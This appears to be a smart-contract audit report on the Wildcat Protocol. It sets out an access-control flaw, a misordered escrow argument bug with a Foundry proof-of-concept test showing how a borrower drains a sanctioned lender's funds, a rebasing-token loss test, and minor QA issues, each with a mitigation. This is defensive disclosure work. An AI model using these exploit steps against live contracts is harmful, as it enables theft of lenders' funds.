The Wildcat Protocol - YusSecurity's results

Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/main/src/WildcatMarketController.sol#L188 https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketConfig.sol#L121

Vulnerability details

Impact

A malicious actor, who has stolen market tokens from a lender (via phishing, social engineering, etc.), can withdraw the lender's assets from a market without explicit authorization from the market borrower.

This exploit is possible due to a protocol flaw that allows anyone to be authorized as a lender in any market with a WithdrawOnly role.

Proof of Concept

The attack may be executed in the following manner:

Prerequisite: Alice is a malicious actor who manages to steal Bob's market tokens.

1. Alice authorizes herself as a WithdrawOnly lender by calling WildcatMarketController#updateLenderAuthorization(aliceAddress, [ marketInWhichBobInvested ]).
2. Alice calls market.queueWithdrawal(balanceOfBob) and withdraws all stoken market tokens.

The issue lies within the updateLenderAuthorization() function, which has two key problems:

1. The function lacks access control and anyone could invoke it.

2. Even if called by passing an unauthorized lender, it mistakenly authorizes them in corresponding markets with a 'WithdrawOnly' role.

Let's see why:

function updateLenderAuthorization(address lender, address[] memory markets) external {
  for (uint256 i; i < markets.length; i++) {
    address market = markets[i];
    if (!_controlledMarkets.contains(market)) {
      revert NotControlledMarket();
    }
    WildcatMarket(market).updateAccountAuthorization(lender, _authorizedLenders.contains(lender));
  }
}

The function makes absolutely no checks of the authorization status of the lender. It simply passes the value returned by _authorizedLenders.contains(lender) to updateAccountAuthorization(). Consequently, when Alice invokes this function, it leads to the following call: market.updateAccountAuthorization(alice, false).

WildcatMarketConfig#updateAccountAuthorization() sets the WithdrawOnly role if _isAuthorized is false:

function updateAccountAuthorization(
  address _account,
  bool _isAuthorized
) external onlyController nonReentrant {
  MarketState memory state = _getUpdatedState();
  Account memory account = _getAccount(_account);
  if (_isAuthorized) {
    account.approval = AuthRole.DepositAndWithdraw;
  } else {
    account.approval = AuthRole.WithdrawOnly; // Alice gets authorized and permissioned here
  }
  _accounts[_account] = account;
  _writeState(state);
  emit AuthorizationStatusUpdated(_account, account.approval);
}

This essentially permits Alice to withdraw stolen tokens without the explicit authorization of the market borrower.

Tools Used

Manual review

Recommended Mitigation Steps

1. Add onlyBorrower modifier to WildcatMarketController. There is no viable scenario in which someone else should be able to call this function.
2. Do not set a WithdrawOnly role if _isAuthorized == false in WildcatMarketConfig#updateAccountAuthorization.

By applying these fixes even if some market tokens get stolen, the malicious actor would not be able to withdraw them since they would have no mechanism to authorize themselves in the market.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/WildcatSanctionsSentinel.sol#L96-L97 https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketBase.sol#L173-L174 https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketWithdrawals.sol#L166-L170

Vulnerability details

Impact

The WildcatMarketBase#_blockAccount() function that is used to block a sanctioned lender contains a critical bug. It incorrectly calls IWildcatSanctionsSentinel(sentinel).createEscrow() with misordered arguments, accidentially creating a vulnerable escrow that enables the borrower to drain all the funds of the sanctioned lender.

The execution of withdrawals (WildcatMarketWithdrawals#executeWithdrawal()) also performs a check if the the accountAddress is sanctioned and if it is, and escrow is created and the amount that was to be sent to the lender is sent to the escrow. That escrow, however, is also created with the account and borrower arguments in the wrong order.

That means wether or not the borrower has anything to do with a sanctioned account and their funds ever, that account will never be able to get their money back in case their sanction gets dismissed.

Proof of Concept

Consider this scenario to illustrate how the issue can be exploited.

1. Bob The Borrower creates a market.
2. Bob authorizes Larry The Lender as a lender in the created market.
3. Larry deposits funds into the market
4. Larry gets sanctioned in Chainalysis
5. Bob invokes WildcatMarket#nukeFromOrbit(larryAddress), blocking Larry and creating a vulnerable WildcatSanctionsEscrow where Larry's market tokens are transferred.
6. Bob authorizes himself as a lender in the market via WildcatMarketController#authorizeLenders(bobAddress)
7. Bob initiates a withdrawal using WildcatMarket#queueWithdrawal()
8. After the withdrawal batch duration expires, Bob calls WildcatMarket#executeWithdrawal() - and gains access to all of Larry's assets.

Now, let's delve into the specifics and mechanics of the vulnerability.

The nukeFromOrbit() function calls _blockAccount(state, larryAddress), blocking Larry's account, creating an escrow, and transferring his market tokens to that escrow.

//@audit                                                     Larry
//@audit                                                       ↓
function _blockAccount(MarketState memory state, address accountAddress) internal {
  Account memory account = _accounts[accountAddress];
  // ...
  account.approval = AuthRole.Blocked;
  // ...
  account.scaledBalance = 0;
  address escrow = IWildcatSanctionsSentinel(sentinel).createEscrow(
	accountAddress, //@audit ← Larry
	borrower,       //@audit ← Bob
	address(this)
  );
  // ...
  _accounts[escrow].scaledBalance += scaledBalance;
  // ...
}

In the code snippet, notice the order of arguments passed to createEscrow():

createEscrow(accountAddress, borrower, address(this));

However, when we examine the WildcatSanctionsSentinel#createEscrow() implementation, we see a different order of arguments. This results in an incorrect construction of tmpEscrowParams:

function createEscrow(
	address borrower, //@audit ← Larry
	address account,  //@audit ← Bob
	address asset
) public override returns (address escrowContract) {
  // ...
  // @audit                        ( Larry  ,   Bob  , asset)
  // @audit                            ↓         ↓       ↓
  tmpEscrowParams = TmpEscrowParams(borrower, account, asset);
  new WildcatSanctionsEscrow{ salt: keccak256(abi.encode(borrower, account, asset)) }();
  // ...
}

The tmpEscrowParams are essential for setting up the escrow correctly. They are fetched in the constructor of WildcatSanctionsEscrow, and the order of these parameters is significant:

constructor() {
  sentinel = msg.sender;  
  (borrower, account, asset) = WildcatSanctionsSentinel(sentinel).tmpEscrowParams();
//     ↑        ↑       ↑   
//(  Larry ,   Bob  , asset) are the params fetched here. @audit
}

However, due to the misordered arguments in _blockAccount(), what's passed as tmpEscrowParams is (borrower = Larry, account = Bob, asset), which is incorrect. This misordering affects the canReleaseEscrow() function, which determines whether releaseEscrow() should proceed or revert:

function canReleaseEscrow() public view override returns (bool) {
	//@audit                                                 Larry      Bob
	//                                                         ↓         ↓
	return !WildcatSanctionsSentinel(sentinel).isSanctioned(borrower, account);
}

The misordered parameters impact the return value of sentinel.isSanctioned(). It mistakenly checks Bob against the sanctions list, where he is not sanctioned.

//@audit                       Larry              Bob
//                               ↓                 ↓
function isSanctioned(address borrower, address account) public view override returns (bool) {
 return
   !sanctionOverrides[borrower][account] && // true
   IChainalysisSanctionsList(chainalysisSanctionsList).isSanctioned(account); // false
}

Thus isSanctioned() returns false and consequently canReleaseEscrow() returns true. This allows Bob to successfully execute releaseEscrow() and drain all of Larry's market tokens:

function releaseEscrow() public override {
  if (!canReleaseEscrow()) revert CanNotReleaseEscrow();

  uint256 amount = balance();
  
  //@audit                 Bob   Larry's $
  //                        ↓       ↓
  IERC20(asset).transfer(account, amount);

  emit EscrowReleased(account, asset, amount);
}

After this, Bob simply needs to authorize himself as a lender in his own market and withdraw the actual assets.

Below is a PoC demonstrating how to execute the exploit.

To proceed, please include the following import statements in test/market/WildcatMarketConfig.t.sol:

import 'src/WildcatSanctionsEscrow.sol';

import "forge-std/console2.sol";

Add the following test test/market/WildcatMarketConfig.t.sol as well:

function test_borrowerCanStealSanctionedLendersFunds() external {
  vm.label(borrower, "bob"); // Label borrower for better trace readability

  // This is Larry The Lender
  address larry = makeAddr("larry");

  // Larry deposists 10e18 into Bob's market
  _deposit(larry, 10e18);

  // Larry's been a bad guy and gets sanctioned
  sanctionsSentinel.sanction(larry);

  // Larry gets nuked by the borrower
  vm.prank(borrower);
  market.nukeFromOrbit(larry);

  // The vulnerable escrow in which Larry's funds get moved
  address vulnerableEscrow = sanctionsSentinel.getEscrowAddress(larry, borrower, address(market));
  vm.label(vulnerableEscrow, "vulnerableEscrow");

  // Ensure Larry's funds have been moved to his escrow
  assertEq(market.balanceOf(larry), 0);
  assertEq(market.balanceOf(vulnerableEscrow), 10e18);

  // Malicious borrower is able to release the escrow due to the vulnerability
  vm.prank(borrower);
  WildcatSanctionsEscrow(vulnerableEscrow).releaseEscrow();

  // Malicious borrower has all of Larry's tokens
  assertEq(market.balanceOf(borrower), 10e18);

  // The borrower authorizes himself as a lender in the market
  _authorizeLender(borrower);

  // Queue withdrawal of all funds
  vm.prank(borrower);
  market.queueWithdrawal(10e18);

  // Fast-forward to when the batch duration expires
  fastForward(parameters.withdrawalBatchDuration);
  uint32 expiry = uint32(block.timestamp);

  // Execute the withdrawal
  market.executeWithdrawal(borrower, expiry);

  // Assert the borrower has drained all of Larry's assets
  assertEq(asset.balanceOf(borrower), 10e18);
}

Run the PoC like this:

forge test --match-test test_borrowerCanStealSanctionedLendersFunds -vvvv

Tools Used

Manual review

Recommended Mitigation Steps

1. Fix the order of parameters in WildcatSanctionsSentinel#createEscrow(borrower, account, asset):

  function createEscrow(
-   address borrower,
+   address account,
-   address account,
+   address borrower,
    address asset
  ) public override returns (address escrowContract) {

Assessed type

Error

Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketWithdrawals.sol#L1-L215

Vulnerability details

Impact

Permanent loss for lenders. Once they deposit their assets to a market, their scaledBalance gets updated only on withdrawals and is never synced in accordance to the underlying asset's supply change. They can only withdraw their scaledBalance balance which in case of an increased underlying token supply will be less.

Proof of Concept

Create a new file POC.t.sol under ./test and paste the following code block in it. The test must be executed against a fork: forge test --fork-url <MAINNET_RPC_URL> --match-path ./test/POC.t.sol -vv

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.20;

import './shared/Test.sol';
import './helpers/ExpectedStateTracker.sol';

interface IAMPL {
  function rebase(uint256 epoch, int256 supplyDelta) external returns (uint256);
  function transfer(address to, uint256 value) external returns (bool);
  function approve(address spender, uint256 value) external returns (bool);
  function balanceOf(address who) external view returns (uint256);
  function totalSupply() external view returns (uint256);
}

contract POC is Test, ExpectedStateTracker {
  address AMPL_TOKEN = 0xD46bA6D942050d489DBd938a2C909A5d5039A161;
  uint256 DECIMALS = 9; // AMPL token has 9 decimals
  address AMPL_MONETARY_POLICY = 0x1B228a749077b8e307C5856cE62Ef35d96Dca2ea;
  IAMPL AMPL = IAMPL(AMPL_TOKEN);

  function setUp() public {
    deployController(parameters.borrower, false, true);
    parameters.controller = address(controller);
    parameters.asset = AMPL_TOKEN;
    parameters.withdrawalBatchDuration = 1 days;

    deployMarket(parameters);
    _authorizeLender(alice);

    lastTotalAssets = 0;
  }

  function _authorizeLender(address account) internal asAccount(parameters.borrower) {
    address[] memory lenders = new address[](1);
    lenders[0] = account;
    controller.authorizeLenders(lenders);
  }

  function test_impermanentLossForLender() public {
    uint256 DEPOSIT_AMOUNT = 1000 * 10**DECIMALS;

    // 1. Ensure Alice has AMPL tokens (1 000 AMPL)
    dealAmpl(alice, DEPOSIT_AMOUNT);
    assertEq(AMPL.balanceOf(alice), DEPOSIT_AMOUNT);

    // 2. Alice deposits to market
    vm.startPrank(alice);
    AMPL.approve(address(market), DEPOSIT_AMOUNT);
    market.depositUpTo(DEPOSIT_AMOUNT); 
    console.log("Market AMPL balance before rebalance: ", AMPL.balanceOf(address(market)));

    // 3. Token gets rebased with an increased supply by 1%
    vm.startPrank(AMPL_MONETARY_POLICY);
    int256 rebaseAmount = int256(AMPL.totalSupply()) * 1 / 100; // Increase supply with ≈ 1%
    AMPL.rebase(0 /* epoch only gets logged */, rebaseAmount);
    vm.stopPrank();

    // 3.1. Log market balance after rebalance
    uint256 marketBalanceAfterRebalance = AMPL.balanceOf(address(market));
    console.log("Market AMPL balance after rebalance:  ", marketBalanceAfterRebalance);

    // 4. Alice withdraws all
    vm.startPrank(alice);
    market.queueWithdrawal(DEPOSIT_AMOUNT);
    uint32 expiry = uint32(block.timestamp + 1 days);
    vm.warp(expiry);
    market.executeWithdrawal(alice, expiry);

    // 5. Extra tokens remain in market
    uint256 aliceBalance = AMPL.balanceOf(alice);
    console.log("Alice balance after withdrawal:             ", aliceBalance);
    assertEq(aliceBalance, DEPOSIT_AMOUNT);
    uint256 marketBalanceAfterWithdrawal = AMPL.balanceOf(address(market));
    console.log("Market balance after rebase and withdrawal: ", marketBalanceAfterWithdrawal);
    assertEq(marketBalanceAfterWithdrawal, marketBalanceAfterRebalance - DEPOSIT_AMOUNT);

	console.log("Market total supply: ", market.totalSupply());
  }

  function dealAmpl(address to, uint256 amount) private {
    address LARGE_AMPL_HOLDER = 0x223592a191ECfC7FDC38a9256c3BD96E771539A9;

    vm.prank(LARGE_AMPL_HOLDER);

    require(IAMPL(AMPL_TOKEN).transfer(to, amount), "Deal failed");
  }
}

After executing the test, we see that there are AMPL tokens left in the market's balance that no lender will be able to withdraw because their scaledBalance will be equal to 0 which means they own no shares in the market which itself has a total supply of 0.

Test output:

Running 1 test for test/POC.t.sol:POC
[PASS] test_impermanentLossForLender() (gas: 317259)
Logs:
  Market AMPL balance before rebalance:  1000000000000
  Market AMPL balance after rebalance:   1009999999999
  Alice balance after withdrawal:              1000000000000
  Market balance after rebase and withdrawal:  9999999999
  Market total supply:  0

Tools used

Manual review Foundry testing

Recommended Mitigation Steps

When queuing withdrawals calculate the amount to be withdrawn based on the portion of the lender's deposit amount of the market's total supply at the time of the lender's deposit.

Assessed type

Other

[QA-1] Risk of permanent fund loss in current repayment method

The existing repayment mechanism requires borrowers to transfer funds directly to the market's ERC20 account. This method is susceptible to errors and can result in the permanent loss of funds because it lacks safeguards against overpayments.

This design choice was made to enable third-party addresses to repay the loan during force majeure events.

Recommendation

A more effective approach would involve creating a function allowing anyone to repay the debt, capped at the MarketState#totalDebts(), with excess funds automatically returned to the sender.

[QA-2] Constraints on market parameters applied only at creation

The protocol's constraints on market parameters are solely enforced during market creation, specifically within the deployMarket() function.

However, subsequent changes to market parameters made directly through functions like WildcatMarketConfig#setMaxTotalSupply(), WildcatMarketConfig#setAnnualInterestBips(), and WildcatMarketConfig#setReserveRatioBips() do not undergo any constraint checks.

Recommendation: Ensure that the appropriate constraints are enforced when directly updating market parameters through the WildcatMarket contract.

[QA-3] Borrowers cannot reduce market capacity below the current total supply

The whitepaper suggests that borrowers should have the ability to reduce capacity irrespective of the current market supply:

If a borrower decides they want less, this is also fine - dropping the capacity does not have any impact on assets that are currently in the vault, as the capacity dictates openness to new deposits. If a lender deposits 100 WETH into a vault and the borrower decides that actually, that’ll do, they can drop the maximum capacity to zero if they wish, but they’re still on the hook to ultimately repay the lender that 100 WETH plus any interest accrued.

However, in the current implementation, this isn't possible due to a check in WildcatMarketConfig#setMaxTotalSupply(uint256 _maxTotalSupply):

if (_maxTotalSupply < state.totalSupply()) {
  revert NewMaxSupplyTooLow();
}

This check can inconvenience borrowers who wish to gradually reduce their market supply by preventing them from going below the current market supply, resulting in increased manual maintenance efforts.

Recommendation: Remove the mentioned check to enable borrowers to update the total supply as outlined in the whitepaper or update the whitepaper if the check is the intended behavior.

[QA-4] Unused BoolUtils functions

The or() and xor() functions in the BoolUtils library are never used.

Recommendation: Remove any unused internal library functions which would otherwise become part of the deployed contract and thus incur unnecessary extra gas gost.

[QA-5] EscrowReleased event may be emitted, even when an attempt to release escrow fails.

In the implementation of WildcatSanctionsEscrow#releaseEscrow(), the IERC20(asset).transfer(account, amount) function is used to release escrowed funds. The code does not check the return value, which means that the EscrowReleased event may be emitted even if the transfer of escrowed funds fails (e.g., when transfer() returns false).

Recommendation: Use safeTransfer() instead of transfer() since it would revert in case transfer() returns false thus preventing incorrect emission of the EscrowReleased event.

[QA-6] Incomplete NatSpec

The code lacks NatSpec documentation in multiple areas, which is crucial for better code comprehension and maintenance. To enhance code readability, transparency, and maintainability, it is essential to add NatSpec documentation to functions with significant logic, providing clear explanations of their behavior, inputs, and outputs.

Examples:

• WildcatMarketWithdrawals
  • getWithdrawalBatch()
  • getAvailableWithdrawalAmount()
  • processUnpaidWithdrawalBatch()
• WildcatMarketController
  • computeMarketAddress()
  • resetReserveRatio()
• WildcatSanctionsEscrow

Recommendation: Add NatSpec documentation to public/external functions which contain important logic.